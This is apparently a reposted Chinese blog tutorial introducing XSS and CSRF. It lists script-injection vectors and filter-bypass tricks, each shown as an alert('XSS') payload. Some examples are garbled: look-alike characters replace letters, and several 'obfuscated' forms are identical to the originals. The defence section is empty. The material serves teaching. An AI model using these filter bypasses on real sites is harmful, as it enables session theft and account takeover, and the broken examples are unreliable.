Xss Csrf 简介
一、Js在web的執(zhí)行環(huán)境
1.直接觸發(fā)
?在HTML頁中插入<script></script>腳本標(biāo)記。JS嵌入到HTML中的兩種方式: ?1)直接嵌入<script>標(biāo)簽?<script language=“javascript”>
?document.write(“hello world!”);
?</script>
?2)在外部以js文件的形式嵌入<script language=“javascript” src=“test.js”>
</script>
2.利用HTML標(biāo)簽屬性觸發(fā)
?利用HTML標(biāo)簽中能夠訪問文件的屬性來執(zhí)行JS代碼。JS中包含一個(gè)URL偽協(xié)議,可以使用javascript:加上任意JS代碼來表示一個(gè)URL,瀏覽器裝載此URL時(shí),JS被執(zhí)行。
< img src=“javascript:alert(‘XSS’)” />
< img dynsrc=“javascript:alert(‘XSS’)” />
?
3.?利用HTML事件觸發(fā) ?HTML標(biāo)簽中定義了一系列事件。<img src=“#” οnerrοr=“alert(‘XSS’)” />
<img onClick =“alert(‘XSS’)” />
4?利用CSS觸發(fā) lCSS嵌入HTML中的三種方式:1)以.css文件的形式:
<link href=“test.css” rel=“stylesheet” type=“text/css”/>
2)以<style></style>標(biāo)簽的方式:
< style type="text/javascript">alert('XSS');</ style >?
3)在標(biāo)簽中以style屬性的方式。
<a style ="background-image: url(javascript:alert('XSS'))">? </a>
5?其他 IE支持在CSS中使用expression,用來把CSS和JS結(jié)合起來,即CSS后跟一段JS代碼,CSS屬性的值等于JS代碼的執(zhí)行結(jié)果:<style>
h1{color:#CCC;height:expression(alert(‘xss’));}
</style>
二、Xss的介紹
三、XSS挖掘技巧
?過濾規(guī)則:1.關(guān)鍵字過濾:如:javascript等;2.<>等特殊字符轉(zhuǎn)碼。 1.但是HTML并不遵循XHTML標(biāo)準(zhǔn),所以可以將HTML標(biāo)簽屬性值大小寫、混合寫,而且標(biāo)簽屬性可以單引號(hào)、雙引號(hào),也可以不用引號(hào):如:??? <img src=“javascript:alert(‘XSS’)” />
??? 寫為<img src=“JavasCripT:alert(‘XSS’)” />可繞過過濾規(guī)則
2.插入控制符的ASCII碼混淆,不影響原代碼的執(zhí)行。如tab(	)、換行符號(hào)(
)、回車符(
)等31個(gè)控制字符。???? 如: <img src=“javascript:alert(‘XSS’)” />,混淆后代碼為:
???????? <img src=“javascript:alert(‘XSS’)” />
3. 繞過HTML標(biāo)簽內(nèi)的關(guān)鍵字過濾,在插入代碼的屬性前加入混淆屬性,如: <img src=“abc>” οnclick=“alert(‘XSS’)” />
4. 插入注釋符如: <img style=“xss:expr/*xss*/ession(alert(111))”>
5.對CSS:\會(huì)被瀏覽器忽略: : <img style=“background-image:url(ja\vas\\\\cript:alert(111))”>
6.編碼繞過,如: <img src=“javascript:alert('XSS'l;”>等價(jià)于<img src=“javascript:alert(‘xss’;)”.>
????? http://ha.ckers.org/xss.html
四、防XSS
五、跨站請求偽造(CSRF) 某些瀏覽器允許跨域攜帶cookies。如: 在a.com訪問b.com時(shí),會(huì)攜帶B.com的cookies 例如火狐瀏覽器
轉(zhuǎn)載于:https://www.cnblogs.com/sohold/archive/2013/01/07/2848769.html
總結(jié)
以上是生活随笔為你收集整理的Xss Csrf 简介的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 收藏一些自己认为好的网站或博客
- 下一篇: Zencart 给DHL运费模块增加一个